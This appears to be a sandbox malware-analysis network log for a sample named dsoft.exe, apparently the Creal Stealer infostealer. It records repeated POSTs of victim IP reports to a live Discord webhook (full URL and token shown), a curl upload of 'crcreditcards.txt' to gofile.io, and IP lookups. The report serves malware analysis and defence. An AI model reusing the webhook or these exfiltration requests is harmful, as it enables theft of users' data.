                                                                                                                                                                                                                                        Set-Cookie: __cfruid=e8824e005ef012f30576e98fe97ec33477a2f423-1735498970; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=VWwslk8gVncU7Dm.2sR8N8v.xq5HXr2aOHWezwSd8xk-1735498970952-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0bf819424363-EWR
                                                                                                                                                                                                                                        2024-12-29 19:02:51 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        9192.168.2.449759162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:52 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:52 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:02:52 UTC1259INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:52 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498974
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N0jmu9NXwWZ85CMmIVIoyXjzU6zIVXpkg%2BneiDJBGPJB%2Fwwn%2FYO22vfdTUgeYXwAtwtKA6bwuuaGYXSvimc1zEIhO%2BbVcyYt%2FjNitKXfSRkpECd4zG0TQ8ZfRrkV"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=c6eb26ec5d97677dd755fecb35740d7b2c34999d-1735498972; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=oQSdn4_iWAC_tows86fMG9iRoQI2uWlRCf3T1PKS8G4-1735498972732-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c032acb43d3-EWR
                                                                                                                                                                                                                                        2024-12-29 19:02:52 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        10192.168.2.44976231.14.70.2454432920C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:53 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                        Host: store4.gofile.io
                                                                                                                                                                                                                                        User-Agent: curl/7.83.1
                                                                                                                                                                                                                                        Accept: */*
                                                                                                                                                                                                                                        Content-Length: 195
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=------------------------8e4603062d4623d8
                                                                                                                                                                                                                                        2024-12-29 19:02:53 UTC195OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 65 34 36 30 33 30 36 32 64 34 36 32 33 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 72 65 64 69 74 63 61 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 65 34 36 30 33 30 36 32 64 34 36 32 33 64 38 2d 2d 0d 0a
                                                                                                                                                                                                                                        Data Ascii: --------------------------8e4603062d4623d8Content-Disposition: form-data; name="file"; filename="crcreditcards.txt"Content-Type: text/plain--------------------------8e4603062d4623d8--
                                                                                                                                                                                                                                        2024-12-29 19:02:56 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: nginx/1.27.1
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:55 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 732
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                        Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                        2024-12-29 19:02:56 UTC732INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 37 35 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 71 45 62 33 71 6a 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 50 7a 56 66 66 57 6d 7a 6f 4e 72 6d 52 66 58 71 59 50 49 7a 6d 61 36 66 7a 76 71 7a 31 6e 48 57 22 2c 22 69 64 22 3a 22 63 33 30 61 30 32 33 38 2d 32 65 64 32 2d 34 38 65 31 2d 39 31 39 39 2d 37 37 63 63 66 61 61 36 34 62 35 63 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 37 35 2c
                                                                                                                                                                                                                                        Data Ascii: {"data":{"createTime":1735498975,"downloadPage":"https://gofile.io/d/qEb3qj","guestToken":"PzVffWmzoNrmRfXqYPIzma6fzvqz1nHW","id":"c30a0238-2ed2-48e1-9199-77ccfaa64b5c","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1735498975,


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        11192.168.2.449764162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:54 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:54 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:02:54 UTC1259INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:54 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498975
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mWM%2FrKfFzfzUP1Mfk5hyZNyIrqdG1utgWtPOPdVPptas%2FwCWT%2F4HVbSmJbX8APN5qLkO7r2s%2BkJvMoS4wFSdwnVrgBPGm7f2MalBto1cMr3oI%2Fl6btE0yOH6reWA"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=0f05533984d6908e46ef45dac808328d15271110-1735498974; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=KuizxNPIEs1sXO4xGzStJLPpFyQ3ydTiq9rBC5PknGQ-1735498974462-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c0e0cb92363-EWR
                                                                                                                                                                                                                                        2024-12-29 19:02:54 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        12192.168.2.449765104.26.13.2054434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:55 UTC117OUTGET / HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Host: api.ipify.org
                                                                                                                                                                                                                                        User-Agent: Python-urllib/3.10
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:55 UTC424INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:55 GMT
                                                                                                                                                                                                                                        Content-Type: text/plain
                                                                                                                                                                                                                                        Content-Length: 12
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Vary: Origin
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c153b9a8cb9-EWR
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1985&min_rtt=1978&rtt_var=757&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=709&delivery_rate=1431372&cwnd=183&unsent_bytes=0&cid=3ee70ea2a6ec77c3&ts=466&x=0"
                                                                                                                                                                                                                                        2024-12-29 19:02:55 UTC12INData Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39
                                                                                                                                                                                                                                        Data Ascii: 8.46.123.189


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        13192.168.2.449766162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:55 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:55 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:02:56 UTC1255INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:56 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498977
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RrTwFCXa13X6cxUjCVxMgDbeLom7Pd5hFLNP4VHJQ9wYZU80Xl%2BbyRoBNEYCPoX%2Fm0%2BL0zumAxCMjhyj3OIjnFmAJaBfJ48J7MSoQN61tF7pc9oZM5lLGCcmBHxY"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=5bc9eee408a1c59afa175019f5df8e545d23eacd-1735498976; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=QJiOEpyiyKF00rgd4cP8HoRM.bXp._pd8jS4T6xqcho-1735498976197-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c18cd81c47f-EWR
                                                                                                                                                                                                                                        2024-12-29 19:02:56 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        14192.168.2.44976845.112.123.1264434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:57 UTC126OUTGET /getServer HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Host: api.gofile.io
                                                                                                                                                                                                                                        User-Agent: Python-urllib/3.10
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:57 UTC1113INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Server: nginx/1.27.1
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:57 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        Content-Length: 14
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        Access-Control-Allow-Headers: Content-Type, Authorization
                                                                                                                                                                                                                                        Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD
                                                                                                                                                                                                                                        Access-Control-Allow-Credentials: true
                                                                                                                                                                                                                                        Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
                                                                                                                                                                                                                                        Cross-Origin-Embedder-Policy: require-corp
                                                                                                                                                                                                                                        Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                                                        Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                                                                                                                        Origin-Agent-Cluster: ?1
                                                                                                                                                                                                                                        Referrer-Policy: no-referrer
                                                                                                                                                                                                                                        Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        X-DNS-Prefetch-Control: off
                                                                                                                                                                                                                                        X-Download-Options: noopen
                                                                                                                                                                                                                                        X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                        X-Permitted-Cross-Domain-Policies: none
                                                                                                                                                                                                                                        X-XSS-Protection: 0
                                                                                                                                                                                                                                        ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A"
                                                                                                                                                                                                                                        2024-12-29 19:02:57 UTC14INData Raw: 65 72 72 6f 72 2d 6e 6f 74 46 6f 75 6e 64
                                                                                                                                                                                                                                        Data Ascii: error-notFound


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        15192.168.2.449769162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:02:57 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:02:57 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:02:58 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:02:58 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498979
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ETiIxRhaoy8vUUbljZfBQAxRuNk%2FBIUYJx0m4OAIv0JQUKW4TEFOUhP3oAVUOYRLUYNxuWsWfyNo8wdYhF9lN6lkSx%2BbMjqPi7h7aPsXrbPr82Pmn1xbzGH8FFhs"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=118c5223e3186f6a9611a519377b96a1aa1193a4-1735498978; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=.s3GrcO_hePDmmDKu2vuMrbvaBJA9jDOrfBEm.98Wio-1735498978092-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c24bce40f7d-EWR
                                                                                                                                                                                                                                        2024-12-29 19:02:58 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
